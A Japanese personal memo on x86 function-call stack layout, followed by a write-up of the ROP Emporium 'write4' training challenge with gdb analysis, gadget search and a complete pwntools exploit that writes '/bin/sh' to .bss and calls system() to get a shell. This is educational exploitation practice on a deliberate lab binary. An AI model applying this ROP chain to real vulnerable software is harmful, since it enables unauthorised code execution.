x86におけるスタック操作

自分用メモ

以下のプログラムでx86における関数呼び出し時のスタックの使い方

start:
// ...
push 3
push 2
push 1
call func  // func(1,2,3)
sub esp, 12
// ...

func:
push ebp
mov ebp, esp
// -- 関数の処理 --
mov esp, ebp //espの復元
pop ebp // ebpの復元
ret

1.スタックに積まれる順番

1.引数
2.リターンアドレス
3.退避されたebp

退避されたebpの次(スタックの先頭方向)にはローカル変数が格納される。

2.引数について

pushされる順番

arg3,arg2,arg1の順でpushされる。

関数内での引数へのアクセス

[ebp+8] : 第一引数
[ebp+12] : 第二引数
[ebp+16] : 第三引数
(以下省略)

3.ローカル変数について

ローカル変数の確保

関数内で以下の命令が実行される。

sub esp, 4 * (確保するローカル変数の個数)

ローカル変数の破棄

ret命令直後、つまりcall命令の次のデータ列で以下の命令が実行される。

add esp, 4 * (確保するローカル変数の個数)

関数内でのローカル変数へのアクセス

[ebp-4],[ebp-8],[ebp-12]など

4.その他

leave命令は以下と等価

mov esp,ebp
pop ebp

enter命令は以下と等価

push ebp
mov ebp,esp
sub esp,N

ROP Emporium (3)Write4 [writeup]

・問題リンク ropemporium.com

まずstringsコマンドで静的解析をする

$ strings write432
...
/bin/ls
...

プログラム内部でsystem()を呼び出していそうなことがわかる

$ gdb write432
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x080483c0  _init
0x08048400  printf@plt
0x08048410  fgets@plt
0x08048420  puts@plt
**0x08048430  system@plt**
0x08048440  __libc_start_main@plt
0x08048450  setvbuf@plt
0x08048460  memset@plt
0x08048470  __gmon_start__@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  main
0x080485f6  pwnme
0x0804864c  usefulFunction
0x08048670  usefulGadgets
0x08048680  __libc_csu_init
0x080486e0  __libc_csu_fini
0x080486e4  _fini
gdb-peda$ 

partial RERLOなのでGOT Overwriteが可能であり、NX bitがonなのでshellcodeによるexploitはできない。 ((0)~(2)と同様BoFによってEIPが奪えるなのでGot Overwriteの必要はないが...)
またpwnme、usefulFunction、usefulGadgetsをそれぞれディスアセンブルしてみる。

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x0804857b <+0>:     lea    ecx,[esp+0x4]
   0x0804857f <+4>:     and    esp,0xfffffff0
   0x08048582 <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048585 <+10>:    push   ebp
   0x08048586 <+11>:    mov    ebp,esp
   0x08048588 <+13>:    push   ecx
   0x08048589 <+14>:    sub    esp,0x4
   0x0804858c <+17>:    mov    eax,ds:0x804a064
   0x08048591 <+22>:    push   0x0
   0x08048593 <+24>:    push   0x2
   0x08048595 <+26>:    push   0x0
   0x08048597 <+28>:    push   eax
   0x08048598 <+29>:    call   0x8048450 <setvbuf@plt>
   0x0804859d <+34>:    add    esp,0x10
   0x080485a0 <+37>:    mov    eax,ds:0x804a040
   0x080485a5 <+42>:    push   0x0
   0x080485a7 <+44>:    push   0x2
   0x080485a9 <+46>:    push   0x0
   0x080485ab <+48>:    push   eax
   0x080485ac <+49>:    call   0x8048450 <setvbuf@plt>
   0x080485b1 <+54>:    add    esp,0x10
   0x080485b4 <+57>:    sub    esp,0xc
   0x080485b7 <+60>:    push   0x8048700
   0x080485bc <+65>:    call   0x8048420 <puts@plt>
   0x080485c1 <+70>:    add    esp,0x10
   0x080485c4 <+73>:    sub    esp,0xc
   0x080485c7 <+76>:    push   0x8048717
   0x080485cc <+81>:    call   0x8048420 <puts@plt>
   0x080485d1 <+86>:    add    esp,0x10
   0x080485d4 <+89>:    call   0x80485f6 <pwnme>
   0x080485d9 <+94>:    sub    esp,0xc
   0x080485dc <+97>:    push   0x804871f
   0x080485e1 <+102>:   call   0x8048420 <puts@plt>
   0x080485e6 <+107>:   add    esp,0x10
   0x080485e9 <+110>:   mov    eax,0x0
   0x080485ee <+115>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x080485f1 <+118>:   leave  
   0x080485f2 <+119>:   lea    esp,[ecx-0x4]
   0x080485f5 <+122>:   ret    
End of assembler dump.
gdb-peda$ pdisas pwnme
Dump of assembler code for function pwnme:
   0x080485f6 <+0>:     push   ebp
   0x080485f7 <+1>:     mov    ebp,esp
   0x080485f9 <+3>:     sub    esp,0x28
   0x080485fc <+6>:     sub    esp,0x4
   0x080485ff <+9>:     push   0x20
   0x08048601 <+11>:    push   0x0
   0x08048603 <+13>:    lea    eax,[ebp-0x28]
   0x08048606 <+16>:    push   eax
   0x08048607 <+17>:    call   0x8048460 <memset@plt>
   0x0804860c <+22>:    add    esp,0x10
   0x0804860f <+25>:    sub    esp,0xc
   0x08048612 <+28>:    push   0x8048728
   0x08048617 <+33>:    call   0x8048420 <puts@plt>
   0x0804861c <+38>:    add    esp,0x10
   0x0804861f <+41>:    sub    esp,0xc
   0x08048622 <+44>:    push   0x8048751
   0x08048627 <+49>:    call   0x8048400 <printf@plt>
   0x0804862c <+54>:    add    esp,0x10
   0x0804862f <+57>:    mov    eax,ds:0x804a060
   0x08048634 <+62>:    sub    esp,0x4
   0x08048637 <+65>:    push   eax
   0x08048638 <+66>:    push   0x200
   0x0804863d <+71>:    lea    eax,[ebp-0x28]
   0x08048640 <+74>:    push   eax
   0x08048641 <+75>:    call   0x8048410 <fgets@plt>
   0x08048646 <+80>:    add    esp,0x10
   0x08048649 <+83>:    nop
   0x0804864a <+84>:    leave  
   0x0804864b <+85>:    ret    
End of assembler dump.

次にusefulFunctionを見る。

Dump of assembler code for function usefulFunction:
   0x0804864c <+0>:     push   ebp
   0x0804864d <+1>:     mov    ebp,esp
   0x0804864f <+3>:     sub    esp,0x8
   0x08048652 <+6>:     sub    esp,0xc
   0x08048655 <+9>:     push   0x8048754
   0x0804865a <+14>:    call   0x8048430 <system@plt>
   0x0804865f <+19>:    add    esp,0x10
   0x08048662 <+22>:    nop
   0x08048663 <+23>:    leave  
   0x08048664 <+24>:    ret    
End of assembler dump.
gdb-peda$ x/s 0x8048754
0x8048754:      "/bin/ls"
gdb-peda$ 

systemを呼び出しているが、その引数は/bin/lsとなっており、bashを起動するには一工夫必要そうだ。

gdb-peda$ pdisas usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x08048670 <+0>:     mov    DWORD PTR [edi],ebp
   0x08048672 <+2>:     ret    
   0x08048673 <+3>:     xchg   ax,ax
   0x08048675 <+5>:     xchg   ax,ax
   0x08048677 <+7>:     xchg   ax,ax
   0x08048679 <+9>:     xchg   ax,ax
   0x0804867b <+11>:    xchg   ax,ax
   0x0804867d <+13>:    xchg   ax,ax
   0x0804867f <+15>:    nop
End of assembler dump.
gdb-peda$ 

usefulGadgetsのmov DWORD PTR [edi],ebp; retというガジェットが使えることがわかる。
これはediの指すメモリアドレスにebpの値をコピーする命令となっていて、これを使ってwritableなメモリ領域に/bin/shと書き込み、systemの引数としてbashの起動をすることを目指す。

そのためにはpop edi pop ebpなどのstackからedi、ebpレジスタを操作する命令群がほしい。 これらをropgadgetコマンドで探してみる。

gdb-peda$ start
gdb-peda$ ropgadget
ret = 0x804819d
popret = 0x80483e1
pop2ret = 0x80486da
pop3ret = 0x80486d9
pop4ret = 0x80486d8
addesp_12 = 0x80483de
addesp_16 = 0x80484e5
gdb-peda$ x/3i 0x80486da
   0x80486da <__libc_csu_init+90>:      pop    edi
   0x80486db <__libc_csu_init+91>:      pop    ebp
   0x80486dc <__libc_csu_init+92>:      ret    
gdb-peda$ 

ちょうどpop2retでedi、ebpに値をpopできるのでこれを使う。

以下のスタックの状態を考えてみる。

Low (↑stack growth)
...
pop edi;pop ebp;ret (=1番目の戻り先)
書き込みたいアドレス (→edi)
value (4bit) (→ebp)
mov [edi],ebp;ret (=2番目の戻り先)
3番目の戻り先
...
High

3番目の戻り先に再びpop edi;pop ebp;retを接続することで、任意のメモリアドレスに任意の値の書き込みが可能になる。 次に/bin/shを書き込むこむことができるセクションを探してみる。

$ readelf -S write432
There are 31 section headers, starting at offset 0x196c:

セクションヘッダ:
  [] 名前              タイプ          アドレス Off    サイズ ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000030 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481dc 0001dc 0000d0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          080482ac 0002ac 000081 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804832e 00032e 00001a 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048348 000348 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             08048368 000368 000020 08   A  5   0  4
  [10] .rel.plt          REL             08048388 000388 000038 08  AI  5  24  4
  [11] .init             PROGBITS        080483c0 0003c0 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080483f0 0003f0 000080 04  AX  0   0 16
  [13] .plt.got          PROGBITS        08048470 000470 000008 00  AX  0   0  8
  [14] .text             PROGBITS        08048480 000480 000262 00  AX  0   0 16
  [15] .fini             PROGBITS        080486e4 0006e4 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        080486f8 0006f8 000064 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        0804875c 00075c 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        08048798 000798 00010c 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 000028 04  WA  0   0  4
  [25] .data             PROGBITS        0804a028 001028 000008 00  WA  0   0  4
  [26] .bss              NOBITS          0804a040 001030 00002c 00  WA  0   0 32
  [27] .comment          PROGBITS        00000000 001030 000034 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 001861 00010a 00      0   0  1
  [29] .symtab           SYMTAB          00000000 001064 000510 10     30  50  4
  [30] .strtab           STRTAB          00000000 001574 0002ed 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)
$ 

Wの立っているところがwritableである。 今回は.bssセクションを使う。

最後にsystem関数の呼び出し直前のスタックの状態を考える。 以下のようにすればsystemに引数を渡すことができる。

Low (↑stack growth)
...
system@pltのアドレス(=リターンアドレス)
"AAAA" (=system()終了後のダミーの戻り先)
0x0804a040("bin/sh"のアドレス、systemの第一引数)
...
High

以上を踏まえてexploitコードは以下になる

from pwn import *

p=process('./write432')

system_plt=0x8048430
mov_edi_ebp=0x08048670
pop2ret=0x80486da
bss_addr=0x0804a040

payload=''
payload+='A'*44
payload+=p32(pop2ret)
payload+=p32(bss_addr)
payload+="/bin"
payload+=p32(mov_edi_ebp)
payload+=p32(pop2ret)
payload+=p32(bss_addr+4)
payload+="/sh\x00"
payload+=p32(mov_edi_ebp)
payload+=p32(system_plt)
payload+="junk"
payload+=p32(bss_addr)

p.sendline(payload)
p.interactive()

実行結果

$ python exploit.py
[+] Starting local process './write432': pid 10954
[*] Switching to interactive mode
write4 by ROP Emporium
32bits

Go ahead and give me the string already!
> $ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$ exit
[*] Got EOF while reading in interactive
$ 
[*] Process './write432' stopped with exit code -11 (SIGSEGV) (pid 10954)
[*] Got EOF while sending in interactive
$ 

flagを入手することができた